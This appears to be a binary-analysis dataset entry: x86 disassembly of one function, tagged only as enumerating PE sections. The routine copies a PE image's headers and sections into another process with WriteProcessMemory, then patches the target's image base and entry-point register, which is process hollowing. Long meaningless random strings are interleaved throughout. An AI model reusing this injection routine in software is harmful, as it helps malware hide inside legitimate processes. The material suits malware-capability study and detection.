Function at 0x406c50
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x414c30
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x4491d8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x24], str.68hoKkQPM3DzpYhcG6woNRmAoULtssu2y7UMc80lTcIw57uJLfKa1ogYdv9UTsJAFIluiK3BciP5K1Aqge5PwpFa7Yto6tffG1g11QIe4dINtRJ2B78kmW6yrW5AUMKlIvGcUiOSjLS1rxE08nLUcf4AVX92pmqNNdSfic5l7LzV1Ayf20ablI6QHww5IQ19PwlBYNjsTboEhJNuntSQzuXBtmADAt6lBxb7Pskoas8L0XSxqIJuv5CKeytfR5GRtkAoQlAVq97nsaAXSw6aFIln85e773WRCkIuq8b2DusttX8mzsENsPaUfHvVEs5vLmxLaoOsufSVol7Xy5bGeCSXmGyghDyzNg9WHtX6nGFxWurE41yvj2dfVPcBf9bwMSFcyrY0nCFYoRjUDm7MX2aN2z3GAwhSGKINlvjN8q5uh6ot6HQFpHF3DO4cLCQaNsTzcCAGOWu9zecAVcLgDRghKwo9pKj7ccNL4LHpUTd9wRlvoXL3wCHrwmJQdhFDMxJLmRIb1b4saVPaBz3QxgPzuWwm0dteqygj84Il7CCNC4d7C24OMhwMAPXBJhIXPIet6IQjA1eNdAwslMyq4mDgjreHx2OmcJAftWH3T3Ov9BsPQPvmq2j2vK78Q4j7ti9prEKUBgo6cTIagX8NX2zdtmwA46FdrS1VpuWvFaN96lLnJwkTHDB6rhVl4f4kLStcDDJJbU1tpw93yLFlnhWiNengA9VsPSQDNhfphkzwzyF7D8HP3lTe2DkPgQUUBFuNUur5lVtgUXpMwf3egay9NEP3CR1mdXmbgniEW81kV65k2xxQnPXazRfKaD9zmyVFPILF1TJ68UvhR74BMGd7f5qEY6AqpVtreB4V3t7kWByVlryotPoSuvwlKvjf17wOxmqCma8S6wpafvnVC1xrxcbQ2k1qGAOtvBaYAgxsqINsjLbm2aHQ2aL2rKV0Phnqv7wmQYSAUYXQ99Q4aqTdXlszODOxKyvYzQQb3POvbq6wBdDcRN0mgd9sjkiLWDqY0PDEnokb2vQ0yNiCXEwohirbxJklKluUCGOoeJYY3HS5IalbJ7AHN7fkEKNQq4Ky0yaOP3QhluONyqD7TMASm75uSwFRrWj8Kq5SuwqmM8rR1gXbuAtNtNTdeX2JJG7nLDDMttAu2IDHzU0yMMTrFK1WvQ7tPC2reQxT5gBRuetqUxBUv8JCjWEFyJ90WijroGdeuxnMheNsOHWcCd7r53mJe9oDBjtde98Wu2aXW1r06VdbxvY2mjuNoqUjRAtUqXj5LPXR81VbxqiKtBc3rHIAxmvsWH8071VMR28xV09GlFspS7HzAWwXQgAuywzyzadyitP98hv4cndkpEu63xgUdV9DQahjiitkuN22dH2MezthUTGtLp4fqbwuW2hyts52bXV3kbxPRiy17qixPwmHO0cLCVUg4SpL1tQLYcfb0ideACGXUJHJmCOb20HDbVW5kfaQBSI3Hoc5n4NKmmCdhJAeDXeOlDGc4jPynv4dKMhOE5d9aB4iaDYt1WWFU8hOIyipLXys01bvsadRQAqoVhBrLsmT5I5eoMrcDJGzm5BTDUKazhAaQgjID6REKSazELi2aoeGR361pxripcwOoOslhQXIqHtdabYnkni1muSNFB2MJYThUWjyMVVVQqU7F9RgQfhGoIoso6fi3apowwz73K5GpQXtwejhYdCLETR4B1k8cR6eQEhV0K6lgCfbADvsgMowNhXK6aJgyNShON59zu4ekdsPf5CgvRjpycHxrb2q1gBuCLf2HAszhWxKtXjYFVXsjQVT669I7IHCl2LSMXG3e1XqjFndCuxxG5xTb7i8KFgnqD91efWxyyxwAKqtExJhkP57DLksQo5oz1DgYIDBKzqGSGp9dXmFIuNvMtMuLuACRvsy5CfvzKmoOGHex9w50CWbkF4QXiGBjW5ahlfC9GMVeHhiQPzcX1JemFf06ORqMCfGSwbl2YYp3jysdj91
push 0x421afc
mov eax, dword [ebp - 0x20]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x20]
mov eax, dword [edx + 0x24]
call eax
push 0
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx + 0x54]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [0x44a320]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x18], 0
jmp 0x406ccf
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp + 0x10]
movzx edx, word [ecx + 6]
cmp dword [ebp - 0x18], edx
jge 0x406d27
mov eax, dword [ebp - 0x18]
imul eax, eax, 0x28
add eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x18]
mov edx, dword [ecx + 0x3c]
lea eax, [eax + edx + 0xf8]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x28], str.gnNbPw0QGC3Q4oun8D1OJDhlcUeebKySmFrKDCW5xYHqwdHmiRlM5n2TEY4nGgsEoq7pLyilU0uY7H49IAdn0IajscGNyWnqqN6s5AFKJ4QMw3QY3Ra9O9qlPzzPE0sS9bGiRUvd3kNFgSBsyUKNf4oAaOJlH281UbclKGXw2AP3Oh9u8cy3oSmuWoFKm549IyYaO3Yf3pXUuLwillaJKWojPqq89GfUakmmu2hNx1KQwn5rnccLdwm6CJy3uNRjxGHCAFls8jfY1vqO5Nf73SQNeQ6JFQrDI2pIkWoizY12Y6rEUrXPTee8K3DUUIHwhXQvlMqbKk9kkueu1w14QGEFoeGn8MX2Sr9x1Is4vv9Hpp4HxVVCnYcyuPFnBAzxd3q3jmdCDXA3pHXnGSYnz0yp7lsGrqfxw807Of1LkjzT3nm7ULiVoeyjKTnYoTD7ELwPpEKHYqTceIeD4IGnBoaNzdcSYxx5XAvMgeTR2gLLASFkwnUdexWFJ03YvDRVjMpVMVDPTRMqyPVi9YAsA17Rs6uN0kHR5bwMD2Iq3mTVkppkkoexdxwxVrpQizeMa74dM8BGUWu1OcCVX0ekX8F5n09xXbNi0y8CrcmO1TkkMFekuMScV8I31PoimKUHu0IN5sFePyxvG82qPkoVteqf96frCLc26yG3sxTARnF7MF0PtJOMdqdB00biAup1LTP5ym3GDRFF5fdSlK7r259mSR66V1s30jM5GaJzIBQGmCSzWEa57PVQ53f44iofKB8FmxftEgUzapqEhlGjQHUGU2hm96qtzciWontQ1AXIN1iyQfmbXY5FIjg69YQdr5CsQVYlnpvsmHbnHpEepl2LQxBlKpaJVOjb5KYLnBp6FzRYnr3onK3dEna6sBYX6AuyGJhdCbXSmvhTVvN8mw2nvB9muD2xu4avx7nTJcO1LhunXp9h8ixRP5b3QpfNcBenLpmjoK2C3qIlxracH1Jv1He2jGCMO3tWLw15e74Q7lkrhzPElYthRaCSfo2HxPGSfa6wEMiKRW0nMpetY2T5opbIvpHfF8U3iR85hPUG30eEL39NSq9NQ4ksN1aqwnm0W59B1i78FNd6pvErpDOokOvAmIYu7SyV3p31800RzWz6G0HEK2BHObXH8AjxQhrFEuOyTArQhtsY22BklYhVjmKzKcRAEpcG1WwTvod73XFWik11KTHHImN5yBYwRpo7Ari86ARTNvy5OURTNaM0VYPhAsv9iGSH2ClDN3OzcI0nn5sNvexfMJojBPU7dUTQccXjEsgAAHxGdnqd4v2b4WTv3of0j1WzaQwmGghC29eN1BHeTuq1uFxl5h7gKbUAciuoQDIqhaIlVF5FTTDYt1bumP9QXsMSMrg6aorbJG9c8MunWYkOcXhvxOEy2toninAil6qWqgJawLXpuhPY3DNwRjRlHiEQb8D9DM2hqtBRb1wh611ev0jFSslubc1VmF6kj1W6q0ShLgybxoPE5IbeQTf85MhSXYGTw8KwKXgdqrIVNEiKahDBIQjlwTwzj2djseLLt40rGN4Y12ws7UGm9WP22EcxUOApbaefnvWABOTrBMH2hBecwqJ2Cq2XwoMqLAarTYy9EhV37c5bV8VWT0s3KQ9D3KQYdSq1dJOzJb9bmy1Wj1jB3
push 0
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x14]
push ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0xc]
push eax
mov ecx, dword [0x44a320]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x406cc6
mov dword [ebp - 0x2c], str.BmsCqvmrjAKKxjB5Gm8i7jMrNjOLWbOGIXM3eha5S3rCaivzLaNNQnXYmJnH6s0gPjqXsYKnl5Ys8N05HQgA3zGqhcHD2mYfTYEEUuVhOfrrSQEbGkcaFu7lJf4K3koySD8mawGqVEMh6PECUuKXpstXm4CIJ9sjI0UhwE5cSYP3KqMpEqqqIIeikooCWU4OqTtx7emClvmm4DxG7b8UPjUWlvlYM4LC1eFfNrUvu6XcyO0QAY8LL5fjAkhPCmHrtXGtclfh3bc4WEUtk48ggI3rNjUB7RIdQ9dbIL28fJrS
mov dword [ebp - 0x30], str.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
mov dword [ebp - 0x34], str.ldmpiRCJhmYHPoOWiR98AKU9yN6G5wt8bGirrVRNTKkiAAwlhR3fXgbOsryNNfmWvWnFYMJritHXu1DkVVIzm1CQM7NKfr6y6A4lu61H4nMVShB5zwRBLWcXsiwPVH2vkrSNVwlsV2IX1sc9bifXBVDGw9TNk5MLewjpEF4pMHfp24mkjaC
push 0
push 4
mov edx, dword [ebp + 0x10]
add edx, 0x34
push edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 0xa4]
add ecx, 8
push ecx
mov edx, dword [0x44a320]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x28]
mov edx, dword [ebp + 0x14]
mov dword [edx + 0xb0], ecx
mov al, 1
jmp 0x406d9a
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14